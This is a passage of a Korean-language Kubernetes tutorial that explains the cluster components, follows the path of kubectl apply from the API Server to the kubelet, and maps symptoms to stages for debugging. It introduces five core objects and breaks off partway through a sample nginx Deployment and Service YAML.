&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/0d7c192af631ecac24ee87f74fc89edf/64756/diagram-architecture.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACD0lEQVR42l2S226bQBCGeYMGA2aXPdiY4xpzPi0Hm2C7SV0rkXJRqer7P0jHROlFpe9itMw3/2hZ5RtNVK9X/YEfjm46eemzHR2x32MxsWii0TOJZipG6kseDlwMLBxY0FFPWp5UVJ6qybzKz257jftbOt6D8sKyK65+bpo7r2+kfaPphYqORQMVPQk7Ekjst9htlCcW66kkw6ylvRG2xl7S9ETiAYkGiZYlo51Pm3xi2YkWk1VOOD8CKO5NpwI54ekp6m70MJJ9Tw5DPN6d4sziEeqgfSnPH1F/g1jSXaz5lQwXNMxmeVzbpbLi2WqbanZmBI3h1Wu3XLsVDhoL2PfWfrDCloQSwEGNhUSiM93CcIr1tlB0nutOq3tS97q116FgxOFoiaMVzySG/JlCEU1wCFdoBr0JbY403M7YgLzJWfO263/z7Ir2Ey7uKLnYzYf//IeXP2hytqq7mb2y/Ltz+rUt300x6fFFS140liuQjpwau3CB3YK0fMnCke9HImDnAU6Q1yK3AUxXGk6r2dVqU65Yppi7Gu1q7NSW2xCvpUHHRQ/QAJAEZrktfEK7am1XxrYE9G2pPeRcQf80Xz7MsH+8BDFATf3O8uB/tjDaXOTFr7TtZ3KuYKeBDrKY7H9TPjKdBoG2ZH6ZlcpLlWYKdHxlfr4+2Lb73BY/tl0yQdsU2sKKF0+sgBEqy/8CzvR0vfoNHCEAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/0d7c192af631ecac24ee87f74fc89edf/a1b3b/diagram-architecture.webp 215w,
/static/0d7c192af631ecac24ee87f74fc89edf/fc700/diagram-architecture.webp 430w,
/static/0d7c192af631ecac24ee87f74fc89edf/521f7/diagram-architecture.webp 860w,
/static/0d7c192af631ecac24ee87f74fc89edf/cbd37/diagram-architecture.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/0d7c192af631ecac24ee87f74fc89edf/f7886/diagram-architecture.png 215w,
/static/0d7c192af631ecac24ee87f74fc89edf/bc750/diagram-architecture.png 430w,
/static/0d7c192af631ecac24ee87f74fc89edf/3e3fe/diagram-architecture.png 860w,
/static/0d7c192af631ecac24ee87f74fc89edf/64756/diagram-architecture.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/0d7c192af631ecac24ee87f74fc89edf/3e3fe/diagram-architecture.png&apos; alt=&apos;K8S 클러스터 구조 — Control Plane(API Server·Scheduler·Controller Manager·etcd)과 Worker Node 3대&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;K8S 클러스터 구조 — Control Plane(API Server·Scheduler·Controller Manager·etcd)과 Worker Node 3대&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;역할만 간단히 정리하면:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;컴포넌트&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;API Server&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;모든 요청의 창구 (&lt;code class=&quot;language-text&quot;&gt;kubectl&lt;/code&gt;이 말 거는 대상)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;etcd&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;클러스터의 &quot;진실의 원천&quot; — 모든 상태 저장소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Scheduler&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;새 Pod를 어느 노드에 띄울지 결정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Controller Manager&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;실제 상태와 원하는 상태의 차이를 계속 맞춤&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;kubelet&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;각 노드의 에이전트 — 컨테이너를 실제로 띄우고 보고함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;처음엔 외우지 말고, &quot;API Server가 입구, etcd가 저장소&quot; 정도만 기억해도 충분합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;kubectl apply 하면 클러스터에서 무슨 일이 일어나는가&lt;/h2&gt;
&lt;p&gt;컴포넌트를 따로 외우면 잘 안 붙습니다. &lt;strong&gt;명령 하나가 지나가는 길&lt;/strong&gt;을 따라가면 한 번에 정리됩니다.&lt;/p&gt;
&lt;p&gt;먼저 알아야 할 것 하나 — &lt;code class=&quot;language-text&quot;&gt;kubectl apply&lt;/code&gt;는 &lt;strong&gt;&quot;만들어라&quot;가 아니라 &quot;이렇게 되어 있어야 한다&quot;를 적는 명령&lt;/strong&gt;입니다. 이걸 선언적(declarative) 방식이라고 합니다. 그래서 같은 명령을 몇 번 실행해도 결과가 같고, 클러스터는 그 상태를 계속 유지하려 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;kubectl apply &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; deployment.yaml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 한 줄 뒤에 벌어지는 일을 순서대로 보겠습니다. 움직이는 그림으로 먼저 보고 싶으시면 &lt;strong&gt;1분 15초짜리 영상&lt;/strong&gt;으로도 정리했습니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/8Sh9N520ZTs&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAAAAAAAAAHqZRakAAADc0lEQVR42j2R+4vjVBzF405yH7nv3OTm1TRJ82qattNOpzuj9TWOiLvKuuKwg6AIiiDi//+ztx0RPnz55oTzPSfEYbxhvGW842LgYsn4IGRvRcpqwuY+nSGSIj+B2CAUIRRCqD0gPSBclzpCDlKNcXKdZnsTbyOzsWarBMFKyl4FS6E6yksmasordD6hIQzsFc9jjtKb0ByK+U1ZHavF66o+Mr5I0uO8/CJJ7+vmoaw+Dc1uNv84L+4QSQBSACqItOdxh4uWi07IVtgpbPmG88aKTNjPOacRVhA2s/0xzRCJoR8CrAEOXSAcIirCayIWFqZaC5WNFTErMJshmiOWQZoCGnskOkMjj9kZutCao44mY5xPcb6+HKp8VlpF1ntRbXkxkXzJqg0rJ1quULpwqT7DI9eXjm86kq3CeIjSpQxboReIZiwfw+VrPdyKZkfKdTAcguFG9ju/6P83e0Q5mGeY5YjPLL6YW7Aozopty19IAU88blzblkdAxhZPGM8mU5JZGM2Jn77sFp+kmCSYJojFmNsZQRZhbjCPsTAveDRwlKiNHrJ0qMptXW3tAmEYm1XbnOrF3aK5T/NtWd/av0iDHPAQCgNFhGw40w5jM84KyjIhCs5z3zcIR1yWJh606bRppS4DswjiFqsUSmNtFqwSe8jBWF0IMAp8fIaQEPka+gqSANIAMQ15AIXGypAgJvqMHxiP22RCOWFShEqeESLAPmdMSCmFkkwpoS9vjKY68C2htpBQA6GdSNEiYnFc5HldFG2SzF3IZola9+mqy+pSr/psWuab1UwnGmqNwxCFIYlCKLVDMaE+pTaNCE4k8bmPGaVcCMGlYDY/OIfbZjaZWC6xNAzOyahfwLZ+Vc8+mqevqhyNLZ46ODRuW4FhYR/BsvHGBkwd3i/xzYgPI74d8XbwtHHQ2xP54fPrX55Of/+x/+0Z7Eew7enjXfrhW/X+gbz5RP34Vfj0NXt7AscJ3q3/4+HgpZmD331Gnh+n794cnp/W776Pj7d0Gvg398u/fm5+f5Lvv+z+/DD982v006M7tXDTw20PNx06XQNrRrsVnHpv6q/G1p06fz+h3QjW3dWqddcd2C7d7WABuyU8TPCwRrdrdFzD4/pc28XSpcol0iV2qiu7sAANnX+68e/3eDMCkwAVAm284IK+ILRH1b8HKG4PZRZWEgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/b06fdc512bbbf6f6cdc6fb51384ddc6d/a1b3b/video-thumb.webp 215w,
/static/b06fdc512bbbf6f6cdc6fb51384ddc6d/fc700/video-thumb.webp 430w,
/static/b06fdc512bbbf6f6cdc6fb51384ddc6d/521f7/video-thumb.webp 860w,
/static/b06fdc512bbbf6f6cdc6fb51384ddc6d/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/b06fdc512bbbf6f6cdc6fb51384ddc6d/f7886/video-thumb.png 215w,
/static/b06fdc512bbbf6f6cdc6fb51384ddc6d/bc750/video-thumb.png 430w,
/static/b06fdc512bbbf6f6cdc6fb51384ddc6d/3e3fe/video-thumb.png 860w,
/static/b06fdc512bbbf6f6cdc6fb51384ddc6d/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/b06fdc512bbbf6f6cdc6fb51384ddc6d/3e3fe/video-thumb.png&apos; alt=&apos;kubectl apply 5단계 영상 — API Server부터 kubelet까지 명령이 지나가는 과정&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;kubectl apply 5단계 영상 — API Server부터 kubelet까지 명령이 지나가는 과정&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;1. API Server — 요청의 유일한 창구&lt;/h3&gt;
&lt;p&gt;kubectl은 클러스터를 직접 건드리지 않습니다. &lt;strong&gt;API Server에만 말을 겁니다.&lt;/strong&gt; 여기서 세 가지를 통과해야 합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;인증(Authentication)&lt;/strong&gt; — 너 누구냐 (인증서·토큰)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;인가(Authorization)&lt;/strong&gt; — 이걸 할 권한이 있냐 (RBAC)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;어드미션(Admission)&lt;/strong&gt; — 규칙에 맞냐 (리소스 제한, 정책 검사, 기본값 주입)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;셋 중 하나라도 막히면 여기서 끝납니다. 클러스터 안으로 들어가지도 못합니다.&lt;/p&gt;
&lt;h3&gt;2. etcd — 원하는 상태를 적어 둔다&lt;/h3&gt;
&lt;p&gt;통과한 요청은 &lt;strong&gt;etcd에 &quot;원하는 상태&quot;로 저장&lt;/strong&gt;됩니다. 이 시점에 &lt;code class=&quot;language-text&quot;&gt;kubectl apply&lt;/code&gt;는 이미 성공으로 끝나 있습니다. &lt;strong&gt;Pod가 뜬 게 아니라 &quot;이런 Pod가 있어야 한다&quot;고 적힌 것뿐입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;apply&lt;/code&gt;는 성공했는데 Pod가 안 보이는 상황이 이래서 생깁니다.&lt;/p&gt;
&lt;h3&gt;3. Controller Manager — 차이를 메운다&lt;/h3&gt;
&lt;p&gt;컨트롤러들은 etcd를 계속 지켜보다가 &lt;strong&gt;&quot;원하는 상태&quot;와 &quot;실제 상태&quot;의 차이&lt;/strong&gt;를 발견하면 메웁니다.&lt;/p&gt;
&lt;p&gt;Deployment를 만들었다면 — Deployment 컨트롤러가 ReplicaSet을 만들고, ReplicaSet 컨트롤러가 &lt;code class=&quot;language-text&quot;&gt;replicas: 3&lt;/code&gt;을 보고 &lt;strong&gt;Pod 3개를 생성&lt;/strong&gt;합니다. 다만 이때 Pod는 아직 &lt;strong&gt;어느 노드에도 배정되지 않은 상태&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;h3&gt;4. Scheduler — 어느 노드에 놓을지 정한다&lt;/h3&gt;
&lt;p&gt;스케줄러는 노드가 안 정해진 Pod를 찾아 &lt;strong&gt;자리를 고릅니다.&lt;/strong&gt; 리소스 여유, &lt;code class=&quot;language-text&quot;&gt;nodeSelector&lt;/code&gt;, taint/toleration, affinity 규칙을 보고 노드를 결정한 뒤 그 결과를 etcd에 씁니다.&lt;/p&gt;
&lt;p&gt;조건에 맞는 노드가 없으면 Pod는 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;Pending&lt;/code&gt; 상태로 멈춥니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;5. kubelet — 실제로 컨테이너를 띄운다&lt;/h3&gt;
&lt;p&gt;각 노드의 kubelet이 &lt;strong&gt;자기 노드에 배정된 Pod&lt;/strong&gt;를 발견하면 이미지를 받아 컨테이너 런타임(containerd 등)으로 실행하고, 결과를 다시 API Server에 보고합니다. 그 보고가 etcd에 반영되어 &lt;code class=&quot;language-text&quot;&gt;kubectl get pods&lt;/code&gt;에 나타납니다.&lt;/p&gt;
&lt;h3&gt;멈춘 지점을 알면 볼 곳이 정해진다&lt;/h3&gt;
&lt;p&gt;이 흐름을 알면 디버깅이 추측이 아니라 &lt;strong&gt;위치 찾기&lt;/strong&gt;가 됩니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;증상&lt;/th&gt;
&lt;th&gt;멈춘 단계&lt;/th&gt;
&lt;th&gt;확인할 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;apply&lt;/code&gt; 자체가 거부됨&lt;/td&gt;
&lt;td&gt;① API Server&lt;/td&gt;
&lt;td&gt;RBAC 권한, YAML 문법, 어드미션 정책&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;apply&lt;/code&gt; 성공인데 Pod가 없음&lt;/td&gt;
&lt;td&gt;③ Controller&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;kubectl get rs&lt;/code&gt;, Deployment 셀렉터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Pending&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;④ Scheduler&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;kubectl describe pod&lt;/code&gt; 하단 Events — 리소스 부족·taint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ImagePullBackOff&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;⑤ kubelet&lt;/td&gt;
&lt;td&gt;이미지 경로·태그, 프라이빗 레지스트리 시크릿&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;CrashLoopBackOff&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;⑤ kubelet 이후&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;kubectl logs --previous&lt;/code&gt; — 앱 자체 문제&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Pending&lt;/code&gt;은 노드를 못 골랐다는 뜻이고, &lt;code class=&quot;language-text&quot;&gt;ImagePullBackOff&lt;/code&gt;는 노드는 정해졌는데 이미지를 못 받았다는 뜻입니다. &lt;strong&gt;증상 이름이 이미 어느 단계에서 멈췄는지 말해 줍니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;꼭 알아야 할 오브젝트 5가지&lt;/h2&gt;
&lt;p&gt;K8S는 모든 것이 오브젝트(Object)입니다. 그중 입문자가 반드시 익혀야 할 5가지만 뽑았습니다.&lt;/p&gt;
&lt;h3&gt;1. Pod — 가장 작은 배포 단위&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;컨테이너 1개 이상을 묶은 실행 단위&lt;/li&gt;
&lt;li&gt;같은 Pod 안의 컨테이너는 네트워크·스토리지를 공유&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pod는 언제든 죽을 수 있다&lt;/strong&gt;는 전제로 설계됨 (그래서 단독으로 만드는 일은 드뭅니다)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Deployment — Pod의 &quot;관리자&quot;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Pod를 몇 개 띄울지, 어떻게 업데이트할지 선언&lt;/li&gt;
&lt;li&gt;롤링 업데이트·롤백 기본 지원&lt;/li&gt;
&lt;li&gt;실무에선 &lt;strong&gt;Pod를 직접 만들지 않고 Deployment로 만듭니다&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Service — 접근 경로&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Pod는 죽으면 IP가 바뀝니다. Service가 고정된 엔드포인트를 제공&lt;/li&gt;
&lt;li&gt;타입별 차이:&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;타입&lt;/th&gt;
&lt;th&gt;용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ClusterIP&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;클러스터 내부 전용 (기본값)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;NodePort&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;노드 IP:포트로 외부 노출 (개발용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;LoadBalancer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;클라우드 LB 자동 생성 (운영용)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;4. ConfigMap / Secret — 설정 분리&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ConfigMap&lt;/strong&gt;: 일반 설정 (환경변수, 설정 파일)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Secret&lt;/strong&gt;: 민감 정보 (API 키, 비밀번호) — Base64 인코딩 저장&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;코드와 설정을 분리해야 같은 이미지를 dev·staging·prod에 재사용할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;5. Ingress — HTTP 라우팅의 진입점&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;도메인·경로 기반 라우팅 (&lt;code class=&quot;language-text&quot;&gt;api.example.com&lt;/code&gt; → api Service, &lt;code class=&quot;language-text&quot;&gt;/admin&lt;/code&gt; → admin Service)&lt;/li&gt;
&lt;li&gt;TLS 종단 처리&lt;/li&gt;
&lt;li&gt;Nginx·Traefik 같은 Ingress Controller가 실제 트래픽 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이 오브젝트들이 실제 요청을 처리하는 흐름은 다음과 같습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/c382773fa796f1e39da1e76bcf9286bc/64756/diagram-objects-flow.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB90lEQVR42m2S64rbMBCF/QbdTWIrji3J9/tFkiXf4sS5sN2W/tm2UGjp+z9HZ50UQikchBj8zRnrjPYB10/RiNKRFpNXzX45x+xCqisKh60nzaDbhZ0V9XY84GQk6R6D4sGOBqhrT5Ststkuj6m6Fv1rrl7q/pOnvmyTaecrK+zshSQ3MtnDHXoBaQat9kzqFa1XDnuGLpRtKFsTjhxu+upfzzsJnv0u6La+0takXgPgNronDU/prkJ+Cxh88ei5wItn0EFf+CPkSk2nPGBTVvGqrhnjjeBwRrmIC5lWbV51edWmZZsUKimh0uVsyOseKqbbaDBnkPK0FEnRhBkLszbJD3F5DPODn49edXDZKeKnkM00aWnRedWAU2nH0nC4hiiTgh3ni+rPcc5INNXyVzv9rNQ3N7li+Zmef2fnHyA9Gu3u7I4fUTUZ5QhPo20dVvKByUmofcFbGo2lfCubN95997OLI17S6SsWrxZ7MaKOiBORF0ddMJ/XmGnIbXYet/zG8oUVSivsSTx4+Z7EE04nK96bybCLe8OV73Ia3RFrwoDc2ODsKfP9eXvIwI7HWyo0ewwGIu22rkSORFQtahFWG1toC/m/TQjvmwDdYTrwNBxpUImINLDSsVxbQnvI8xbmeN+h4C/pLdNSoROh4+YmRNTGEn8ATz12UoBQMVkAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/c382773fa796f1e39da1e76bcf9286bc/a1b3b/diagram-objects-flow.webp 215w,
/static/c382773fa796f1e39da1e76bcf9286bc/fc700/diagram-objects-flow.webp 430w,
/static/c382773fa796f1e39da1e76bcf9286bc/521f7/diagram-objects-flow.webp 860w,
/static/c382773fa796f1e39da1e76bcf9286bc/cbd37/diagram-objects-flow.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/c382773fa796f1e39da1e76bcf9286bc/f7886/diagram-objects-flow.png 215w,
/static/c382773fa796f1e39da1e76bcf9286bc/bc750/diagram-objects-flow.png 430w,
/static/c382773fa796f1e39da1e76bcf9286bc/3e3fe/diagram-objects-flow.png 860w,
/static/c382773fa796f1e39da1e76bcf9286bc/64756/diagram-objects-flow.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/c382773fa796f1e39da1e76bcf9286bc/3e3fe/diagram-objects-flow.png&apos; alt=&apos;K8S 오브젝트 흐름도 — 외부 요청이 Ingress → Service → Deployment → Pod로 전달되는 과정&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;K8S 오브젝트 흐름도 — 외부 요청이 Ingress → Service → Deployment → Pod로 전달되는 과정&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 예시 — nginx를 K8S에 띄우기&lt;/h2&gt;
&lt;p&gt;이론만으론 감이 안 옵니다. nginx 하나를 Deployment + Service로 띄우는 최소 YAML을 보겠습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; apps/v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deployment
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;deploy
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;replicas&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;selector&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;matchLabels&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
  &lt;span class=&quot;token key atrule&quot;&gt;template&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
    &lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
          &lt;span class=&quot;token key atrule&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1.27&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;containerPort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Service
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
